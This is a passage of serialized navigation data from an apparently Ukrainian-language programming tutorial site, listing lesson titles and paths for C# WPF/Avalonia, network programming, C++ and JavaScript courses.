WPF","\u002Fcsharp\u002Fdesktop-ui\u002Frouted-events","01.csharp\u002F12.desktop-ui\u002F16.routed-events",{"title":1475,"path":1476,"stem":1477},"Data Binding — Від Code-Behind до Декларативності","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part1","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part1",{"title":1479,"path":1480,"stem":1481},"INotifyPropertyChanged — Живе оновлення UI","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-basics-part2","01.csharp\u002F12.desktop-ui\u002F17.data-binding-basics-part2",{"title":1483,"path":1484,"stem":1485},"Compiled Bindings в Avalonia — Безпека на етапі компіляції","\u002Fcsharp\u002Fdesktop-ui\u002F17a.avalonia-compiled-bindings","01.csharp\u002F12.desktop-ui\u002F17a.avalonia-compiled-bindings",{"title":1487,"path":1488,"stem":1489},"Просунутий Data Binding — ElementName, RelativeSource, MultiBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-binding-advanced","01.csharp\u002F12.desktop-ui\u002F18.data-binding-advanced",{"title":1491,"path":1492,"stem":1493},"Value Converters — Перетворення типів даних у Data Binding","\u002Fcsharp\u002Fdesktop-ui\u002Fvalue-converters","01.csharp\u002F12.desktop-ui\u002F19.value-converters",{"title":1495,"path":1496,"stem":1497},"Data Templates — Візуалізація об'єктів у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-templates","01.csharp\u002F12.desktop-ui\u002F20.data-templates",{"title":1499,"path":1500,"stem":1501},"Collections Binding Part 1 — ObservableCollection та ItemsControl","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part1","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part1",{"title":1503,"path":1504,"stem":1505},"Collections Binding Part 2 — ICollectionView, Filtering, Sorting та Virtualization","\u002Fcsharp\u002Fdesktop-ui\u002Fcollections-binding-part2","01.csharp\u002F12.desktop-ui\u002F21.collections-binding-part2",{"title":1507,"path":1508,"stem":1509},"MVVM Pattern — Від Spaghetti Code до архітектури","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-pattern","01.csharp\u002F12.desktop-ui\u002F22.mvvm-pattern",{"title":1511,"path":1512,"stem":1513},"ViewModel Implementation — Від BaseViewModel до валідації","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-implementation","01.csharp\u002F12.desktop-ui\u002F23.viewmodel-implementation",{"title":1515,"path":1516,"stem":1517},"Commands — Від event handlers до декларативних команд","\u002Fcsharp\u002Fdesktop-ui\u002Fcommands","01.csharp\u002F12.desktop-ui\u002F24.commands",{"title":1519,"path":1520,"stem":1521},"MVVM Toolkit — MVVM без boilerplate через Source Generators","\u002Fcsharp\u002Fdesktop-ui\u002Fmvvm-toolkit","01.csharp\u002F12.desktop-ui\u002F25.mvvm-toolkit",{"title":1523,"path":1524,"stem":1525},"Messenger Pattern — Комунікація між ViewModel без прямих посилань","\u002Fcsharp\u002Fdesktop-ui\u002Fmessenger-pattern","01.csharp\u002F12.desktop-ui\u002F26.messenger-pattern",{"title":1527,"path":1528,"stem":1529},"Стилі WPF — CSS для десктопу","\u002Fcsharp\u002Fdesktop-ui\u002Fstyles-basics","01.csharp\u002F12.desktop-ui\u002F27.styles-basics",{"title":1531,"path":1532,"stem":1533},"CSS-like стилі Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F27a.avalonia-css-styling","01.csharp\u002F12.desktop-ui\u002F27a.avalonia-css-styling",{"title":1535,"path":1536,"stem":1537},"Control Templates — Частина 1. Концепція та TemplateBinding","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part1","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part1",{"title":1539,"path":1540,"stem":1541},"Control Templates — Частина 2. Named Parts та ContentPresenter","\u002Fcsharp\u002Fdesktop-ui\u002Fcontrol-templates-part2","01.csharp\u002F12.desktop-ui\u002F28.control-templates-part2",{"title":1543,"path":1544,"stem":1545},"Control Themes в Avalonia — нова ера стилізації","\u002Fcsharp\u002Fdesktop-ui\u002F28a.avalonia-control-themes","01.csharp\u002F12.desktop-ui\u002F28a.avalonia-control-themes",{"title":1547,"path":1548,"stem":1549},"Triggers та Visual State Manager у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Ftriggers-visual-states","01.csharp\u002F12.desktop-ui\u002F29.triggers-visual-states",{"title":1551,"path":1552,"stem":1553},"Pseudo-classes в Avalonia — замість WPF Triggers","\u002Fcsharp\u002Fdesktop-ui\u002F29a.avalonia-pseudo-classes","01.csharp\u002F12.desktop-ui\u002F29a.avalonia-pseudo-classes",{"title":1555,"path":1556,"stem":1557},"Теми та ресурсні словники у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fresources-themes","01.csharp\u002F12.desktop-ui\u002F30.resources-themes",{"title":1559,"path":1560,"stem":1561},"Avalonia Themes — Fluent Design та система тематизації","\u002Fcsharp\u002Fdesktop-ui\u002F30a.avalonia-themes-fluent","01.csharp\u002F12.desktop-ui\u002F30a.avalonia-themes-fluent",{"title":1563,"path":1564,"stem":1565},"Контроли колекцій — глибоке занурення","\u002Fcsharp\u002Fdesktop-ui\u002Fcollection-controls","01.csharp\u002F12.desktop-ui\u002F31.collection-controls",{"title":1567,"path":1568,"stem":1569},"DataGrid — колонки та базове відображення","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part1","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part1",{"title":1571,"path":1572,"stem":1573},"DataGrid — сортування, фільтрація, редагування","\u002Fcsharp\u002Fdesktop-ui\u002Fdatagrid-part2","01.csharp\u002F12.desktop-ui\u002F32.datagrid-part2",{"title":1575,"path":1576,"stem":1577},"TreeView та GridView","\u002Fcsharp\u002Fdesktop-ui\u002Ftreeview-listview","01.csharp\u002F12.desktop-ui\u002F33.treeview-listview",{"title":1579,"path":1580,"stem":1581},"Меню, Toolbar, ContextMenu, StatusBar","\u002Fcsharp\u002Fdesktop-ui\u002Fmenus-toolbars","01.csharp\u002F12.desktop-ui\u002F34.menus-toolbars",{"title":1583,"path":1584,"stem":1585},"Навігація та керування вікнами. Частина 1: вікна та сторінки","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part1","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part1",{"title":1587,"path":1588,"stem":1589},"Навігація та керування вікнами. Частина 2: MVVM-навігація","\u002Fcsharp\u002Fdesktop-ui\u002Fnavigation-windows-part2","01.csharp\u002F12.desktop-ui\u002F35.navigation-windows-part2",{"title":1591,"path":1592,"stem":1593},"Avalonia — Навігація та діалоги","\u002Fcsharp\u002Fdesktop-ui\u002F35a.avalonia-navigation-dialogs","01.csharp\u002F12.desktop-ui\u002F35a.avalonia-navigation-dialogs",{"title":1595,"path":1596,"stem":1597},"Діалоги та File Pickers у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fdialogs-file-pickers","01.csharp\u002F12.desktop-ui\u002F36.dialogs-file-pickers",{"title":1599,"path":1600,"stem":1601},"UserControl: компонентний підхід у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fuser-controls","01.csharp\u002F12.desktop-ui\u002F37.user-controls",{"title":1603,"path":1604,"stem":1605},"Custom Controls: Lookless Controls у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fcustom-controls","01.csharp\u002F12.desktop-ui\u002F38.custom-controls",{"title":1607,"path":1608,"stem":1609},"Avalonia TemplatedControl — Lookless Controls","\u002Fcsharp\u002Fdesktop-ui\u002F38a.avalonia-templated-controls","01.csharp\u002F12.desktop-ui\u002F38a.avalonia-templated-controls",{"title":1611,"path":1612,"stem":1613},"Анімації у WPF: Storyboard та Easing Functions","\u002Fcsharp\u002Fdesktop-ui\u002Fanimations-transitions","01.csharp\u002F12.desktop-ui\u002F39.animations-transitions",{"title":1615,"path":1616,"stem":1617},"Анімації в Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002F39a.avalonia-animations","01.csharp\u002F12.desktop-ui\u002F39a.avalonia-animations",{"title":1619,"path":1620,"stem":1621},"2D Графіка та Мультимедіа у WPF","\u002Fcsharp\u002Fdesktop-ui\u002Fmedia-graphics","01.csharp\u002F12.desktop-ui\u002F40.media-graphics",{"title":1623,"path":1624,"stem":1625},"Dependency Injection у WPF та Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Fdi-integration","01.csharp\u002F12.desktop-ui\u002F41.di-integration",{"title":1627,"path":1628,"stem":1629},"SQLite та EF Core у десктопних додатках","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part1","01.csharp\u002F12.desktop-ui\u002F42.data-persistence-part1",{"title":1631,"path":1632,"stem":1633},"Repository Pattern та Unit of Work","\u002Fcsharp\u002Fdesktop-ui\u002Fdata-persistence-part2","01.csharp\u002F12.desktop-ui\u002F43.data-persistence-part2",{"title":1635,"path":1636,"stem":1637},"Тестування ViewModels","\u002Fcsharp\u002Fdesktop-ui\u002Fviewmodel-testing","01.csharp\u002F12.desktop-ui\u002F44.viewmodel-testing",{"title":1639,"path":1640,"stem":1641},"Avalonia Headless Testing — тестування UI без вікон","\u002Fcsharp\u002Fdesktop-ui\u002F44a.avalonia-headless-testing","01.csharp\u002F12.desktop-ui\u002F44a.avalonia-headless-testing",{"title":1643,"path":1644,"stem":1645},"Кросплатформна розробка з Avalonia","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-cross-platform","01.csharp\u002F12.desktop-ui\u002F45.avalonia-cross-platform",{"title":1647,"path":1648,"stem":1649},"Пакування та розгортання Avalonia додатків","\u002Fcsharp\u002Fdesktop-ui\u002Favalonia-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F46.avalonia-packaging-deployment",{"title":1651,"path":1652,"stem":1653},"Розгортання WPF застосунків","\u002Fcsharp\u002Fdesktop-ui\u002Fwpf-packaging-deployment","01.csharp\u002F12.desktop-ui\u002F47.wpf-packaging-deployment",{"title":1655,"icon":658,"path":1656,"stem":1657,"children":1658,"page":59},"Network Programming","\u002Fcsharp\u002Fnetwork-programming","01.csharp\u002F13.network-programming",[1659,1663,1667,1671,1675,1679,1683,1687,1691,1695,1699],{"title":1660,"path":1661,"stem":1662},"Основи комп'ютерних мереж","\u002Fcsharp\u002Fnetwork-programming\u002Ffoundations","01.csharp\u002F13.network-programming\u002F01.foundations",{"title":1664,"path":1665,"stem":1666},"Модель OSI та стек TCP\u002FIP","\u002Fcsharp\u002Fnetwork-programming\u002Fosi-model","01.csharp\u002F13.network-programming\u002F02.osi-model",{"title":1668,"path":1669,"stem":1670},"IP-протокол та адресація","\u002Fcsharp\u002Fnetwork-programming\u002Fip-addressing","01.csharp\u002F13.network-programming\u002F03.ip-addressing",{"title":1672,"path":1673,"stem":1674},"UDP — протокол без з'єднання","\u002Fcsharp\u002Fnetwork-programming\u002Fudp","01.csharp\u002F13.network-programming\u002F05.udp",{"title":1676,"path":1677,"stem":1678},"UDP Broadcast та Multicast","\u002Fcsharp\u002Fnetwork-programming\u002Fudp-broadcast-multicast","01.csharp\u002F13.network-programming\u002F06.udp-broadcast-multicast",{"title":1680,"path":1681,"stem":1682},"HTTP — протокол вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908,1912,1916,1920,1924,1928,1932,1936,1940,1944,1948,1952,1956,1960,1964,1968,1972,1976,1980,1984,1988,1992,1996,2000,2004,2008,2012,2016,2020,2024,2028,2032,2036],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"Введення в ООП: від процедур до об'єктів","\u002Fcpp\u002Foop-intro","02.cpp\u002F49.oop-intro",{"title":1913,"path":1914,"stem":1915},"Класи, об'єкти та методи","\u002Fcpp\u002Fclasses-objects-methods","02.cpp\u002F50.classes-objects-methods",{"title":1917,"path":1918,"stem":1919},"Специфікатори доступу та інкапсуляція","\u002Fcpp\u002Faccess-specifiers-encapsulation","02.cpp\u002F51.access-specifiers-encapsulation",{"title":1921,"path":1922,"stem":1923},"Конструктори: гарантована ініціалізація об'єктів","\u002Fcpp\u002Fconstructors","02.cpp\u002F52.constructors",{"title":1925,"path":1926,"stem":1927},"Списки ініціалізації та делегуючі конструктори","\u002Fcpp\u002Finit-lists-delegating","02.cpp\u002F53.init-lists-delegating",{"title":1929,"path":1930,"stem":1931},"Деструктори та ідіома RAII","\u002Fcpp\u002Fdestructors-raii","02.cpp\u002F54.destructors-raii",{"title":1933,"path":1934,"stem":1935},"Прихований покажчик this","\u002Fcpp\u002Fthis-pointer","02.cpp\u002F55.this-pointer",{"title":1937,"path":1938,"stem":1939},"Розподіл класу на заголовковий файл та файл реалізації","\u002Fcpp\u002Fclass-header-source","02.cpp\u002F56.class-header-source",{"title":1941,"path":1942,"stem":1943},"Класи та const","\u002Fcpp\u002Fconst-classes","02.cpp\u002F57.const-classes",{"title":1945,"path":1946,"stem":1947},"Статичні члени класу","\u002Fcpp\u002Fstatic-members","02.cpp\u002F58.static-members",{"title":1949,"path":1950,"stem":1951},"Конструктор копіювання та запобігання копіюванню","\u002Fcpp\u002Fcopy-constructor","02.cpp\u002F59.copy-constructor",{"title":1953,"path":1954,"stem":1955},"Дружні функції та класи","\u002Fcpp\u002Ffriend-functions-classes","02.cpp\u002F60.friend-functions-classes",{"title":1957,"path":1958,"stem":1959},"Анонімні об'єкти та вкладені типи","\u002Fcpp\u002Fanonymous-objects-nested-types","02.cpp\u002F61.anonymous-objects-nested-types",{"title":1961,"path":1962,"stem":1963},"Вимірювання часу виконання: RAII-таймер","\u002Fcpp\u002Ftiming-raii-timer","02.cpp\u002F62.timing-raii-timer",{"title":1965,"path":1966,"stem":1967},"Перевантаження операторів: основи та арифметика","\u002Fcpp\u002Foperator-overloading-basics","02.cpp\u002F63.operator-overloading-basics",{"title":1969,"path":1970,"stem":1971},"Перевантаження операторів: методи класу та спеціальні оператори","\u002Fcpp\u002Foperator-overloading-methods","02.cpp\u002F64.operator-overloading-methods",{"title":1973,"path":1974,"stem":1975},"Приведення типів, explicit та delete","\u002Fcpp\u002Ftypecast-explicit-delete","02.cpp\u002F65.typecast-explicit-delete",{"title":1977,"path":1978,"stem":1979},"Глибоке копіювання та оператор присвоювання","\u002Fcpp\u002Fdeep-copy-assignment","02.cpp\u002F66.deep-copy-assignment",{"title":1981,"path":1982,"stem":1983},"Зв'язки між об'єктами: композиція та агрегація","\u002Fcpp\u002Fcomposition-aggregation","02.cpp\u002F67.composition-aggregation",{"title":1985,"path":1986,"stem":1987},"Асоціація та залежність між об","\u002Fcpp\u002Fassociation-dependency","02.cpp\u002F68.association-dependency",{"title":1989,"path":1990,"stem":1991},"Контейнерні класи та `std::initializer_list`","\u002Fcpp\u002Fcontainer-classes-initializer-list","02.cpp\u002F69.container-classes-initializer-list",{"title":1993,"path":1994,"stem":1995},"Конструктори, деструктори та порядок ініціалізації в ієрархіях","\u002Fcpp\u002Finheritance-constructors-destructors","02.cpp\u002F71.inheritance-constructors-destructors",{"title":1997,"path":1998,"stem":1999},"Специфікатор `protected` та види наслідування","\u002Fcpp\u002Finheritance-access-specifiers","02.cpp\u002F72.inheritance-access-specifiers",{"title":2001,"path":2002,"stem":2003},"Перевизначення методів та приховування імен","\u002Fcpp\u002Fmethod-overriding-hiding","02.cpp\u002F73.method-overriding-hiding",{"title":2005,"path":2006,"stem":2007},"Множинне наслідування та проблема ромба","\u002Fcpp\u002Fmultiple-inheritance-diamond","02.cpp\u002F74.multiple-inheritance-diamond",{"title":2009,"path":2010,"stem":2011},"Вказівники на базовий клас та віртуальні функції","\u002Fcpp\u002Fvirtual-functions-polymorphism","02.cpp\u002F75.virtual-functions-polymorphism",{"title":2013,"path":2014,"stem":2015},"Специфікатори override, final та віртуальні деструктори","\u002Fcpp\u002Foverride-final-virtual-destructors","02.cpp\u002F76.override-final-virtual-destructors",{"title":2017,"path":2018,"stem":2019},"Внутрішні механізми поліморфізму: vtable, vptr та зв'язування","\u002Fcpp\u002Fvirtual-table-binding","02.cpp\u002F77.virtual-table-binding",{"title":2021,"path":2022,"stem":2023},"Абстрактні класи та чисті віртуальні функції","\u002Fcpp\u002Fabstract-classes-interfaces","02.cpp\u002F78.abstract-classes-interfaces",{"title":2025,"path":2026,"stem":2027},"Зрізка об'єктів, віртуальне наслідування та поліморфний вивід","\u002Fcpp\u002Fslicing-virtual-base-io","02.cpp\u002F79.slicing-virtual-base-io",{"title":2029,"path":2030,"stem":2031},"Динамічне приведення типів (`dynamic_cast`) та RTTI","\u002Fcpp\u002Fdynamic-cast-rtti","02.cpp\u002F80.dynamic-cast-rtti",{"title":2033,"path":2034,"stem":2035},"Шаблони функцій: узагальнене програмування","\u002Fcpp\u002Ffunction-templates","02.cpp\u002F81.function-templates",{"title":2037,"path":2038,"stem":2039},"Шаблони класів та NTTP-параметри","\u002Fcpp\u002Fclass-templates-nttp","02.cpp\u002F82.class-templates-nttp",{"title":2041,"icon":2042,"path":2043,"stem":2044,"children":2045,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[2046,2072,2126,2148,2452,2490,2508],{"title":2047,"icon":2048,"path":2049,"stem":2050,"children":2051,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[2052,2056,2060,2064,2068],{"title":2053,"path":2054,"stem":2055},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":2057,"path":2058,"stem":2059},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":2061,"path":2062,"stem":2063},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":2065,"path":2066,"stem":2067},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":2069,"path":2070,"stem":2071},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":2073,"icon":2074,"path":2075,"stem":2076,"children":2077,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[2078,2082,2086,2090,2094,2098,2102,2106,2110,2114,2118,2122],{"title":2079,"path":2080,"stem":2081},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":2083,"path":2084,"stem":2085},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":2087,"path":2088,"stem":2089},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":2091,"path":2092,"stem":2093},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":2095,"path":2096,"stem":2097},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":2099,"path":2100,"stem":2101},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":2103,"path":2104,"stem":2105},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":2107,"path":2108,"stem":2109},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":2111,"path":2112,"stem":2113},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":2115,"path":2116,"stem":2117},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":2119,"path":2120,"stem":2121},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":2123,"path":2124,"stem":2125},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":2127,"icon":2128,"path":2129,"stem":2130,"children":2131,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2132,2136,2140,2144],{"title":2133,"path":2134,"stem":2135},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2137,"path":2138,"stem":2139},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2141,"path":2142,"stem":2143},"History API - Керування історією 